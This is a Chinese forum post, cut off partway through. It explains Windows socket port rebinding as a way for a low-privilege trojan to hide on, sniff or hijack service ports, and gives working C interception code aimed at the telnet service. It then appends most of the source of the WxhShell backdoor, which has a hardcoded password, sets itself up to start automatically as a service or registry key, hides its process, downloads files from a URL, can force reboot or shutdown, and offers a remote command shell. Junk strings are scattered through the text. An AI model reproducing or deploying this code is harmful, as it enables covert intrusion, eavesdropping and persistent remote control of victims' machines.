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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @0)bY*njj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); : 0%V:B  
( E0be.  
  saddr.sin_family = AF_INET; k@wxN!w;  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7%?A0%>6G  
y t<K!=7&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^ 5UIbA(  
Qb SX'mx<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c5t?S@b  
"0]i4d1l  
  这意味着什么?意味着可以进行如下的攻击: V= .'Db2D  
W{0<ro`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H>W A?4  
p oNQ<ijK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l$zM|Z1wR`  
PVU(R J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {j^}"8GB  
G_X'd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ci*Z9&eS+  
X"[c[YT!%[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >Ks|yNJ  
#|gt(p]C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P [gqv3V  
D+k5e=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 scA&:y  
pET5BMxGG  
  #include 8-po|  
  #include PR.?"$!D{  
  #include %+`$Lb?{  
  #include    XRaq\a`=:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cQN}z Ke  
  int main() ;up89a-,9  
  { @y}1%{,%  
  WORD wVersionRequested; h"q`gj  
  DWORD ret; ymzlRs1^Ct  
  WSADATA wsaData; _STN^   
  BOOL val; P/0n) Q  
  SOCKADDR_IN saddr; j4Lf6aUOX  
  SOCKADDR_IN scaddr; y=q\1~]Z  
  int err; ~xzRx$vU  
  SOCKET s; 6{1c S  
  SOCKET sc; <G#JPt6  
  int caddsize; eyUo67'7  
  HANDLE mt; nKV1F0-  
  DWORD tid;   vu1F  
  wVersionRequested = MAKEWORD( 2, 2 ); U*,5t81  
  err = WSAStartup( wVersionRequested, &wsaData ); $%sOL( r  
  if ( err != 0 ) { 6R#f 8  
  printf("error!WSAStartup failed!\n"); -x7b6o>$  
  return -1; [['un\~r~  
  } s_VP(Fe@K  
  saddr.sin_family = AF_INET; ;JDxl-~  
   MT|}[|_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gwT"o  
uE+]]ir  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J6|5*|*^  
  saddr.sin_port = htons(23); {aAA4.j^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !7Ta Vx}`(  
  { elw<(<u`  
  printf("error!socket failed!\n"); Z9TG/C,eo  
  return -1; YB~}!F [(  
  } rHh<_5-/>  
  val = TRUE; llI`"a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `2U zJ~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .3!=]=  
  { a B%DIH,  
  printf("error!setsockopt failed!\n"); rT5dv3^MW!  
  return -1; >* dqFZF  
  } vB KBMnSd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ZOfyy E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nIKh<ws4z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^P\(IDJCo  
?r#e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hcwKi  
  { LbvnV~S  
  ret=GetLastError(); G' Jsk4:c  
  printf("error!bind failed!\n"); Al6)$8]e   
  return -1; oJ>]=^?k  
  } %Q rf ]  
  listen(s,2); <<Ut@243\  
  while(1) 1Y\g{A "  
  { kC0F@'D  
  caddsize = sizeof(scaddr); )"wWV{k  
  //接受连接请求 -+-@Yq$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^6oz3+  
  if(sc!=INVALID_SOCKET) "{j4?3f)  
  { $#8dtF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .[ NB"\<q  
  if(mt==NULL) `/8Dmg  
  { %fo+Y+t  
  printf("Thread Creat Failed!\n"); U,~\}$<I  
  break; !z$.Jcr1  
  } 5fA<I _ D  
  } h /@G[5E  
  CloseHandle(mt); zT*EpIa+LS  
  } vc5g 4ud  
  closesocket(s); :WJ[a#  
  WSACleanup(); VW$Hzx_z  
  return 0; +r"{$'{^  
  }   6/Q'o5>NL:  
  DWORD WINAPI ClientThread(LPVOID lpParam) oxha8CF]D  
  { >7p?^*&7;  
  SOCKET ss = (SOCKET)lpParam; u-$(TyDEl|  
  SOCKET sc; vzd1:'^t  
  unsigned char buf[4096]; $&I##od  
  SOCKADDR_IN saddr; S{zi8Oc6  
  long num; :4;ZO~eq!  
  DWORD val; Cpz'6F^oP  
  DWORD ret; D({% FQ"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }v"X.fa^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OV_Y`u7YR  
  saddr.sin_family = AF_INET; nK)U.SZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `rN,*kcP  
  saddr.sin_port = htons(23); JUt 7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |^[]Oy=  
  { 2I* 7?`  
  printf("error!socket failed!\n"); Q &<:W4N*  
  return -1; 540-lMe  
  } d dkh*[  
  val = 100; 67wY_\m9I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?<STt 9  
  { 4#1[i|:M  
  ret = GetLastError(); rzsb(  
  return -1; vT#zc)j  
  } waz)jEk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zui2O-L?V  
  { I6,'o)l{_  
  ret = GetLastError(); l\I#^N  
  return -1; `lX |yy"  
  } /GD4GWv :  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yZj:Kp+7  
  { =* oFs|v  
  printf("error!socket connect failed!\n"); KuL2X@)}  
  closesocket(sc); ^2rNty,nH  
  closesocket(ss); s`B]+  
  return -1; !`LaX!bmp  
  } ouL/tt_~  
  while(1) L}T:Y).  
  { ^mz&L|h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R@ N I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a{v1[i\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ne!F  p  
  num = recv(ss,buf,4096,0); mtSOygd  
  if(num>0) ,u8)g; 8s  
  send(sc,buf,num,0); ms@*JCL!t  
  else if(num==0) ^V#9{)B  
  break; FAkjFgUJp  
  num = recv(sc,buf,4096,0); Ue^2H[zs-  
  if(num>0) mtu/kd'(  
  send(ss,buf,num,0); `z=U-v'H)D  
  else if(num==0) O$%M.C'  
  break; (LbAP9Zj#f  
  } u.ubw(vv  
  closesocket(ss); AIgJ,=9K  
  closesocket(sc); bi;?)7p&ZY  
  return 0 ; T[]2]K[&B  
  } {/#^v?,  
9JYrP6I!_  
[@fw9@_'  
========================================================== ,:Qy%k}f  
Fa:fBs{  
下边附上一个代码,,WXhSHELL PY- 1 oP  
M0zJGIT~b  
========================================================== ofH=h  
^m8T$^z>  
#include "stdafx.h" Dvbrpn!sk  
q1}HsTnBH  
#include <stdio.h> g`I`q3EF)  
#include <string.h> 6 2GP1qH9  
#include <windows.h> ?a?i8rnWo  
#include <winsock2.h> l$N b1&  
#include <winsvc.h> 6bF?2 OC  
#include <urlmon.h> 91d@/z  
. J[2\"W  
#pragma comment (lib, "Ws2_32.lib") t[*;v  
#pragma comment (lib, "urlmon.lib") o8Vtxnkg  
Y7(E<1Yx  
#define MAX_USER   100 // 最大客户端连接数 exT O#*o  
#define BUF_SOCK   200 // sock buffer uTTM%-DMHT  
#define KEY_BUFF   255 // 输入 buffer })RT2zw}  
1henQiIO  
#define REBOOT     0   // 重启 >oSNKE  
#define SHUTDOWN   1   // 关机 R1OC7q  
v'gP,UO-%D  
#define DEF_PORT   5000 // 监听端口 )[_A{#&  
2NHuZ.af  
#define REG_LEN     16   // 注册表键长度 VtIPw&KHW  
#define SVC_LEN     80   // NT服务名长度 erTb9`N4  
f'P}]_3(  
// 从dll定义API GG%X1c8K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {uH 4j4)2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `2`Nu:r^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m}/LMY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B w?Kb@  
x}o]R  
// wxhshell配置信息 tVVnQX  
struct WSCFG { |:yQOq|  
  int ws_port;         // 监听端口 k.=67L  
  char ws_passstr[REG_LEN]; // 口令 a Mp*Ap  
  int ws_autoins;       // 安装标记, 1=yes 0=no B^g+_;  
  char ws_regname[REG_LEN]; // 注册表键名 banie{ e  
  char ws_svcname[REG_LEN]; // 服务名 lCT N dW+=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H^_]' ~.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rw_T&>!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dayp1%d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6Q S[mWU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !9|)v7}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DE"KbA0}  
EXn$ [K;  
}; Y8!T4dkn  
L(tS]yWHw  
// default Wxhshell configuration \|^fG9M~  
struct WSCFG wscfg={DEF_PORT, %~%1Is`4J  
    "xuhuanlingzhe", y\0<f `v6  
    1, w20E]4"  
    "Wxhshell", `.>5H\w0e  
    "Wxhshell", Fq3[/'M^  
            "WxhShell Service", wUkLe-n,dE  
    "Wrsky Windows CmdShell Service", 3?|gBiX  
    "Please Input Your Password: ", gEC*JbA.3  
  1, F%QZe*m[  
  "http://www.wrsky.com/wxhshell.exe", p_h)|*W{  
  "Wxhshell.exe" +9Z RCmV  
    }; R7aS{8nn  
"j|}-a  
// 消息定义模块 C {.{>M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _|%pe]St  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X&qRanOP;z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JmN,:bI  
char *msg_ws_ext="\n\rExit."; w6tb vhcmU  
char *msg_ws_end="\n\rQuit."; jRIjFn|~{Y  
char *msg_ws_boot="\n\rReboot..."; . 2_t/2  
char *msg_ws_poff="\n\rShutdown...";  /;LteBoY  
char *msg_ws_down="\n\rSave to "; k 1;,eB  
[?TQ!l}8A  
char *msg_ws_err="\n\rErr!"; .gUceXWH3  
char *msg_ws_ok="\n\rOK!"; z{T2! w~[  
G"!YV#"~  
char ExeFile[MAX_PATH]; 'TclH80  
int nUser = 0; }G n2%  
HANDLE handles[MAX_USER]; AU1P?lk  
int OsIsNt; L8-  
_nu %`?Va  
SERVICE_STATUS       serviceStatus; N!6{c~^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +js3o@Ku{\  
bh=d'9B@&J  
// 函数声明 "aNl2T  
int Install(void); `K[:<p}  
int Uninstall(void); xo{f"8}^  
int DownloadFile(char *sURL, SOCKET wsh); b:fy  
int Boot(int flag); E\!:MCL  
void HideProc(void); pGw|T~e%  
int GetOsVer(void); -,j J{Y~  
int Wxhshell(SOCKET wsl); YLk; ^?  
void TalkWithClient(void *cs); Mi'Q5m  
int CmdShell(SOCKET sock); lh`inAt)"  
int StartFromService(void); A(AyLxB47*  
int StartWxhshell(LPSTR lpCmdLine); n0:+D R  
Zrfp4SlZZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U|odm58s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2 =tPxO')B  
Cnf;5/  
// 数据结构和表定义 2D-ogSIo  
SERVICE_TABLE_ENTRY DispatchTable[] = qg#WDx /  
{ Bv"Fx* {W  
{wscfg.ws_svcname, NTServiceMain}, QI>yi&t  
{NULL, NULL} QC>I<j& `!  
}; 'qLk"   
j9C=m"O  
// 自我安装 5n;|K]UW  
int Install(void) Avw"[~Xd  
{ M64zVxsd  
  char svExeFile[MAX_PATH]; .FK'T G  
  HKEY key; &B3Eq 1A  
  strcpy(svExeFile,ExeFile); {y0*cC  
Y.rHl4  
// 如果是win9x系统,修改注册表设为自启动 (\FjbY9&  
if(!OsIsNt) { }|f\'S   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( _]{[dFr%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IBl}.o&]B#  
  RegCloseKey(key); l/OG 79qq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %kD WUJZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AF D/ J  
  RegCloseKey(key); 77/y{#Sk  
  return 0; +Cx~4zEq  
    } sw*k(i  
  } 7-Rn{"5  
} RhyI\(Z2q  
else { qcke8Q  
q p|T,D%  
// 如果是NT以上系统,安装为系统服务 ,G1|] ~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q ,d]i/T  
if (schSCManager!=0) "Gcr1$xG8!  
{ h./cs'&  
  SC_HANDLE schService = CreateService ?zUV3Qgzj  
  ( E=gD{1,?  
  schSCManager, Fy-nV% P  
  wscfg.ws_svcname, Sw#Ez-X  
  wscfg.ws_svcdisp, x@.iDP@(  
  SERVICE_ALL_ACCESS, s9'g'O5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DMcvu*A  
  SERVICE_AUTO_START, xTD6?X'4  
  SERVICE_ERROR_NORMAL, Szi4M&!K  
  svExeFile, f4s[R0l  
  NULL, QHr 3J  
  NULL, u]E%R&  
  NULL, @&+h3dV.V  
  NULL, ?t)y/@eG  
  NULL x=1G|<z%  
  ); `]]gD EPG{  
  if (schService!=0) ]Vjn7P`~ N  
  { #f.@XIt'  
  CloseServiceHandle(schService); nL^6{I~  
  CloseServiceHandle(schSCManager); 5:|5NX[.b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )Tngtt D  
  strcat(svExeFile,wscfg.ws_svcname);  9 N=KU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [gzU / :  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UE7 P =B  
  RegCloseKey(key); D]y6*Ha  
  return 0; } 3:TPW5S  
    } psRm*,*O  
  } y5a^xRDw  
  CloseServiceHandle(schSCManager); EN.yU!N.4  
} f]T1:N*t  
}  g/+M&k$  
l@1f L%f  
return 1; sLbz@54  
} KtEM H  
/G[y 24 Q  
// 自我卸载 pRc(>P3;  
int Uninstall(void) WbH/K]/1)h  
{ !nVX .m9  
  HKEY key; IvIBf2D;Q  
NL&g/4A[a  
if(!OsIsNt) { l[G ,sq"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3}g?d/^E3  
  RegDeleteValue(key,wscfg.ws_regname); k`)LO`))  
  RegCloseKey(key); M#S8x@U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pI(FUoP^  
  RegDeleteValue(key,wscfg.ws_regname); >jl"Yr#  
  RegCloseKey(key); a^[io1}-  
  return 0; ~R)w 9uq  
  } l$m^{6IYc  
} $6!`  
} ::H jpM  
else { ?2EzNNcS  
GU&XK7L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U\VwJ2 {i  
if (schSCManager!=0) ie.cTTOI  
{ gK)B3dH*&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4Hzbb#  
  if (schService!=0) W\~ZmA.  
  { )CR8-z1`  
  if(DeleteService(schService)!=0) { CQ,r*VAw  
  CloseServiceHandle(schService); Z/-%Eb]L1  
  CloseServiceHandle(schSCManager); y_$^Po  
  return 0; ;k/0N~  
  } ^;@Bz~Z  
  CloseServiceHandle(schService); '3hvR4P  
  } ^* DKF  
  CloseServiceHandle(schSCManager); :+Dn]:\  
} KAsS= `  
} KMbBow3o*~  
GUN<ZOYb=  
return 1; Ds}6{']K  
} Wnf`Rf)1z  
|=%$7b\C  
// 从指定url下载文件 a}>GQu*y  
int DownloadFile(char *sURL, SOCKET wsh) J.?p?-"  
{ ae!_u \$  
  HRESULT hr; }f-rWe{gs>  
char seps[]= "/"; IL%&*B  
char *token;  W2^eE9  
char *file; aO<d`DTyJ  
char myURL[MAX_PATH]; nAts.pVy"  
char myFILE[MAX_PATH]; V|a 59 [y?  
9h0|^ttF  
strcpy(myURL,sURL); > %Y#(_~a  
  token=strtok(myURL,seps); nQ~q -=,L  
  while(token!=NULL) uwQ4RYz  
  { ,MvvW{EY  
    file=token; MPL2#YU/a  
  token=strtok(NULL,seps); YYM  
  } (U.&[B  
O0$ijJa|  
GetCurrentDirectory(MAX_PATH,myFILE); hR`dRbBi%  
strcat(myFILE, "\\"); R>0ta  Q  
strcat(myFILE, file); ?1412Tq5  
  send(wsh,myFILE,strlen(myFILE),0); +M.|D,wg2  
send(wsh,"...",3,0); rW6w1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *v5y]E%aW  
  if(hr==S_OK) a9qZI  
return 0; g)p[A 4  
else %##9.Xm6l  
return 1; 1^W Aps  
Hd2_Cg FB  
} s~63JDy"E  
5rcno.~QO  
// 系统电源模块 92tb`'  
int Boot(int flag) %vThbP#mR|  
{ _9gn;F  
  HANDLE hToken;  C3<3  
  TOKEN_PRIVILEGES tkp; [X=eCHB?  
^al SyJ`  
  if(OsIsNt) { >C&!# 3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^a}{u$<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v0xi(Wu  
    tkp.PrivilegeCount = 1; 6R,;c7Izhd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9,>M/_8>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #M>E{w9  
if(flag==REBOOT) { b QeYFY#^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0yZw`|Zh[  
  return 0; 34l=U?  
} D@ lJ^+  
else { z"H%Y 8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SMy&K[hJ[  
  return 0; V('b|gsEo  
} 0ib 6}L%  
  } Pb`sn5;  
  else { #,9|Hr%  
if(flag==REBOOT) { bQ4 }no0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a&cV@~  
  return 0; w##Fpv<m  
} g!QumRF  
else { aOuon0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W>Kwl*Cis"  
  return 0; *>#cs#)  
} 97 g-*K  
} Q:LuRE!t  
Umd!j,  
return 1; S:j0&*  
} *Xo f;)Z^  
N1-LM9S  
// win9x进程隐藏模块 >@|<1Fx|  
void HideProc(void) -Tt}M#W   
{ $k?L?R1  
2#[Y/p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~@O4>T+VW  
  if ( hKernel != NULL ) . =5Jpo  
  { iUKj:q:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YsDl2P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {!S/8o"]  
    FreeLibrary(hKernel); .edZKmC6  
  } )}aF=%  
K_xOY *  
return; tv{.iM|V c  
} t5qAH++axN  
s [!SG`&  
// 获取操作系统版本 j AE0$u~.  
int GetOsVer(void) ,jWd?-NH  
{ X>4`{x`  
  OSVERSIONINFO winfo; 9..k/cH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a]k&$  
  GetVersionEx(&winfo); {3R ax5Ty  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^/uGcz|.  
  return 1; 5a&w M  
  else tvUvd(8 w  
  return 0;  R pbl)  
} oGqv,[$qN  
?x0yiV~dL  
// 客户端句柄模块 2uTa}{/%  
int Wxhshell(SOCKET wsl) ww2Qa-K  
{ bi[l,  
  SOCKET wsh; q  ha1b$  
  struct sockaddr_in client; {P5@2u6S  
  DWORD myID; m0,9yY::wj  
.R'i=D`Pz  
  while(nUser<MAX_USER) i=D,T[|>a  
{ ^&.?kJM  
  int nSize=sizeof(client); LA+MX 0*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v3"xJN_,[p  
  if(wsh==INVALID_SOCKET) return 1; $Da^z[8e  
?X1#b2s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iQF}x&a<  
if(handles[nUser]==0) ~}AP@t*  
  closesocket(wsh); {;E/l(HNI  
else (?!0__NN;  
  nUser++; E-D5iiF  
  } Uk9g^\H<D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GP$ Y4*y/  
B,>FhX>h  
  return 0; -Tx tX8v  
} Mvv=)?:  
u^9c`  
// 关闭 socket w!RH*S  
void CloseIt(SOCKET wsh) .7FI%  
{ S+G)&<a^  
closesocket(wsh); [//f BO  
nUser--; \sd"iMEi  
ExitThread(0); C":\L>Ax  
} DO1{r/Ib.{  
Oy&'zigJ  
// 客户端请求句柄 q#`^EqtUF  
void TalkWithClient(void *cs) q1Sm#_7  
{ }D+8K  
zf~zYZSr  
  SOCKET wsh=(SOCKET)cs; t] wM_]+  
  char pwd[SVC_LEN]; m-RY{DO+  
  char cmd[KEY_BUFF]; Ji[g@#  
char chr[1]; g-FZel   
int i,j; Ak Tw?v'  
H\mVK!](D  
  while (nUser < MAX_USER) { %#9~V  
Yk Pt*?,P/  
if(wscfg.ws_passstr) { dO,05?q|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 63S1ed [  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RHVv}N0  
  //ZeroMemory(pwd,KEY_BUFF); '.yWL  
      i=0; &|'6-wD.  
  while(i<SVC_LEN) { a7\L-T+  
XB-|gPk  
  // 设置超时 j*4S]!  
  fd_set FdRead; `uA&w}(G  
  struct timeval TimeOut; Nh9!lBm*]  
  FD_ZERO(&FdRead); ]ECZU   
  FD_SET(wsh,&FdRead); e0HP~&BRs  
  TimeOut.tv_sec=8; %}X MhWn{  
  TimeOut.tv_usec=0; dY<#a,eS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z|*6fFE   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L0b] ^_ tI  
}27Vh0v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vor9 ?F&w  
  pwd=chr[0]; vXyo  
  if(chr[0]==0xd || chr[0]==0xa) { f+Medc~  
  pwd=0; W;dzLgc  
  break; 2gAdZE&Y  
  } ,jsx]U/^  
  i++; Z(mn U;9{v  
    } 43=-pyp  
dY@Tt&k8E  
  // 如果是非法用户,关闭 socket ]wpYxos  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +A?+G  
} Q 02??W  
a=.db&;vY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8M+F!1-#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xKST-:c+  
P=[x!}.I  
while(1) { h) PB  
o!r4 frP  
  ZeroMemory(cmd,KEY_BUFF); BON""yIC   
!9LAXM  
      // 自动支持客户端 telnet标准   Y~hd<8 ~  
  j=0; 9c}]:3#XO  
  while(j<KEY_BUFF) { ?>jArzI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G>S1Ld'MV  
  cmd[j]=chr[0]; _8pkejg  
  if(chr[0]==0xa || chr[0]==0xd) { s*/ G- lY  
  cmd[j]=0; 36WzFq#  
  break; '3UIriY6  
  } dzNaow*0&V  
  j++; PB<Sc>{U  
    } #'Y6UGJ\n  
LY!3u0PnlT  
  // 下载文件 ; 9&.QR(  
  if(strstr(cmd,"http://")) { T.P Z}4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |ezO@  
  if(DownloadFile(cmd,wsh)) mRnzP[7-\)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ae#HA[\0G  
  else Qn)[1v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1fhK{9#  
  } \BcJDdL  
  else { ]AA*f_!  
RyQ\5^z  
    switch(cmd[0]) { gc:p@<  
  Y1_6\zpA  
  // 帮助 lPQ Ut!xI  
  case '?': { <T.#A8c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C\ 2 >7  
    break; UFAMbI  
  } hPi :31-0  
  // 安装 0R5^p  
  case 'i': { 2td|8vDA  
    if(Install()) dms:i)L2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zV(tvt  
    else i~Ob( YIH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2N8sq(LK{  
    break; ^@LhUs>3  
    } V?V)&y] 4  
  // 卸载 Nw$[a$^n  
  case 'r': { ^AjYe<RU}  
    if(Uninstall()) 2\CkX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q'AnI$!  
    else M= q~EMH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2:HP5   
    break; {9|$%4kRl  
    } J(&M<<%  
  // 显示 wxhshell 所在路径 0e:QuV2X  
  case 'p': { I1 R\Ts@  
    char svExeFile[MAX_PATH]; @1SKgbt>  
    strcpy(svExeFile,"\n\r"); 031.u<_  
      strcat(svExeFile,ExeFile); I%Po/+|+  
        send(wsh,svExeFile,strlen(svExeFile),0); b}?@syy8  
    break; Gp3nR<+  
    } `ToRkk&&>{  
  // 重启 k1Mxsd  
  case 'b': { ]^6y NtLK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~)m t&   
    if(Boot(REBOOT)) G5nj,$F+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cwWSNm|  
    else { 5) n:<U*  
    closesocket(wsh); W "\tkh2  
    ExitThread(0); vz #wP  
    } }!yD^:[ 5  
    break; yc%E$g  
    } <.7I8B7  
  // 关机 x [{q&N!"`  
  case 'd': { xX&>5 "  
